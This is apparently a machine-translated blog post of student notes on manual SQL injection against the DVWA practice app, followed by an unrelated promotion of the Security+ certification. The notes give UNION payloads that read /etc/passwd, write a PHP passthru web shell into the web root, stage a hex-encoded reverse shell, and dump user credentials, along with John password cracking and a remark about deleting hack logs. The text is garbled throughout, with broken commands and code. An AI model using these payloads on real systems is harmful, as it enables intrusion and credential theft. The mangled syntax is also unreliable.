"Safe Cow Learning Note" Manual vulnerability mining-SQL injection

[Email protected]:~# John--format=raw-md5 Dvwa.txt

[Email protected]:~# CD. john/

[Email protected]:~/.john# ls

John.log John.pot

[Email protected]:~/.john# cat John.log

[Email protected]:~/.john# cat John.pot

[Email protected]:~/.john# RM *//delete hack log to perform the following work

[Email protected]:~/.john# John--format=raw-md5 Dvwa.txt

Manual vulnerability Mining-----SQL injection

Read file

' Union SELECT null,load_file ('/etc/passwd ')--+

Write file

' Union select NULL, ' <?php passthru ($_get[' cmd ');? > "Into DumpFile"/var/www/a.php "--+

MySQL Account

Cat php-revers-shell.php | Xxd-ps | Tr-d ' \ n '

' Union select NULL, (0x3c3f706870) into DumpFile '/tmp/x.php '--

Save Download Database

' Union select Ull,concat (User,0x3a,password) from the users into OUTFILE '/tmp/a.db '--

[Email protected]:~# ssh [email protected]

[Email protected]:~$ cd/var/

[Email protected]:/var$ cd www/

[Email protected]:/var/www$ ls

1.php dvwa Mutillidea phpMyAdmin tikiwiki TWiki

DVA index.php phpinfo.php Test tikiwiki-old

[Email protected]:/var/www/$ cd dvwa/

[Email protected]:/var/www/dvwa$ ls

about.php DVWA index.php php.ini

GHANGELOG.txt External instructions.php README.txt

Config Favicon.ico login.php roubots.txt

COPYING.txt hackable logout.php security.php

Docs ids_log.php phpinfo.php setup.php

[Email protected]:/var/www/dvwa$ suodo Find/-name a.php

[Email protected]:/var/www/dvwa$ cd/var/lib/mysql/

[Email protected]:/var/lib/mysql$ ls-l

[Email protected]:/var/lib/mysql$ sudo-i

[Email protected]:/var/lib/mysql/dvwa# ls

a.php guestbook.frm Gusetbook. MYI users. MYD

Db.opt Guestbook. MYD users.frm users. MYI

[Email protected]:/var/lib/mysql/dvwa# cat a.php

<?php passthru ($_get[' cmd ');? >[email protected]:/var/lib/mysql/dvwa#

[Email protected]:/var/lib/mysql/dvwa# ls-l

[Email protected]:/var/lib/mysql/dvwa# cat/etc/passwd | grep MySQL

Mysql:x:109:118:mysql Server,,,:/var/lib/mysql:/lib/false

[Email protected]:/var/lib/mysql/dvwa# cd/var/www/

[Email protected]:/var/www# ls-ld/tmp

[Email protected]:/var/www# cd/tmp/

[Email protected]:/tmp# ls-l a.php

[email protected]:/tmp# ps aux | grep MySQL

[Email protected]:~# cp/user/share/webshells/php/

FINDSOCK.C php-findsock-shell.php qsd-php-backdoor.php

php-backdoor.php php-reverse-shell.php simple-backdoor.php

[Email protected]:~# cp/user/share/webshells/php/php-reverse-shell.php./b.php

[Email protected]:~# ls

b.php dvwa.txt Public template video picture document download music Desktop

[Email protected]:~# VI b.php

[Email protected]:~# cat b.php

[Email protected]:~# cat b.php | Xxd-ps Fixed line display

[Email protected]:~# cat b.php | Xxd-ps | Tr-d ' \ n ' remove line break

[Email protected]:~# cd/tmp/

[Email protected]:/tmp# cat a.php

<?php passthru ($_get[' cmd ');? >[email protected]:/var/lib/mysql/dvwa#

[Email protected]:~# VI c.php

<?php passthru ($_get[' cmd ');? >

[Email protected]:~# cat c.php | Xxd-ps | Tr-d ' \ n '

Manual vulnerability Mining-----SQL injection

One idea: Writing server-side code

' Union select NULL, ' <?php if (isset ($_post["Submit")) {$userID = $_post["UserID"];

$first _name = $_post["first_name"]; $last _name = $_post["last_name"]; $username =

$_post["username"]; $avatar = $_post["Avatar"]; echo "UserID: $userID <BR>"; Echo

"First_Name: $first _name<bt>"; echo "last_name: $last _name<br>"; echo "Username:

$username <BR> "; echo "Avatar: $avatar <BR>";

$con =mysqli_connect ("127.0.0.1", "root", "Dvwa"); if (Mysql_connect_errno ()) {echo

"Failed to connect to MYSQL:". Mysqli_connect_error ();} Else{echo "Connected to

Database<br> ";} $password = "123"; $sql = "INSERT INTO dvwa.users values

(\ \ "$userID \", \ \ "$first _name\\", \ \ "$last _name\\", \ \ "$username \", MD5 (\ \ "$pass

Word\\ ", \ \" $avatar \ ")"; if (Mysqli_query ($con, $sql)) {echo "[Successful insertion]:

$sql ";} else {echo "Error Creating Database:". Mysql_error ($con);}

Mysql_close ($con);} ><form method= "POST" action= "<?php Echo

$_server["Php_self"];? > "><input type=" text "name=" UserID "value=" ><br> <input

Type= "text" name= "first_name" value= "FH" ><br> <input type= "text" Name= "last_name"

Value= "y" ><br> <input type= "text" name= "username" value= "yfh" ><br> <input

Type= "text" name= "Avatar" value "YFH" ><br> <input type= "Submit" name= "Submit"

Value= "Submit Form" ><br> </form> ' into DumpFile '/tmp/user.php '--

This note is for safe Cattle class student notes, want to see this course or information security of dry goods can go to safe cattle classes

security+ Certification Why is the Internet + era of the most popular certification?

Manifesto first introduce you to security+

security+ certification is a neutral third-party certification, the issuing agency for the United States Computer Industry Association CompTIA, and CISSP, ITIL and other common inclusion of the international IT Industry 10 Popular certification, and CISSP emphasis on information security management, compared to security+ Authentication is more emphasis on information security technology and operations.

This certification demonstrates your ability to network security, compliance and operational security, threats and vulnerabilities, application, data and Host security, access control and identity management, and encryption technology. Because of its difficult examination difficulty, the gold content is high, has been widely adopted by global enterprises and security professionals.

Why is security+ certification so hot?

reason one: In all information security certification, the emphasis on information security technology certification is blank, security+ certification can make up for the gap in the field of information security technology.

      currently recognized in the industry of information security certification mainly has Cisp and CISSP, but whether cisp or CISSP are emphasis on information security management, technical knowledge is broad and simple, the exam is around. And CISSP require a certificate of information security work experience for more than 5 years, Cisp also require a college education 4 years of working experience, these requirements will undoubtedly be able and motivated young people of the road blocked. In the real world, whether it is looking for a job or a raise, or a tender time to report personnel, certification is essential, which brings a lot of injustice to young people. The emergence of security+ can clear these young people career development obstacles, because security+ emphasis on information security technology, so there is no special requirements for work experience. As long as you have an IT-related background, the pursuit of progress can be studied and tested.

        reason two:  it operation and maintenance personnel work and turn over the weapon.

        in the banking, securities, insurance, information and communications industries, the IT operations personnel are very many, it operations involved in the face is very wide. is a network, system, security, application architecture, storage as one integrated technology post. Although no program ape "born as a Bachelor, Die also write code," The solemn and tragic, but also has "Hoe wo Day Copse, as the operation of suffering" feeling. Every day to the computer and machine, the time has been inevitable for career development confusion and confusion. The advent of security+ international certification allows the pursuit of IT operations personnel to learn network security knowledge, to master network security practices. Career development in the direction of network security, to solve the problem of the shortage of information security personnel in China. In addition, even if not transformation, to do a good job in operation and maintenance, learning safety knowledge to obtain safety certification is also essential.

Reason three: grounding gas, international stylish, easy to test, moderate cost!

As the most influential global leader in the global ICT sector, CompTIA is professional, fair and impartial in the field of information security talent certification. Security+ certification is highly operational and closely related to the daily work of frontline engineers. Suitable for banks, securities, insurance, internet companies and other IT-related personnel learning. As an international certification in 147 countries around the world are widely recognized.

Under the current tide of information security, talent is the key to the development of information security. and the current domestic information security personnel is very scarce, I believe security+ certification will become the most popular information security certification.

This article is from the "11662938" blog, please be sure to keep this source http://11672938.blog.51cto.com/11662938/1969391

"Safe Cow Learning Note" Manual vulnerability mining-SQL injection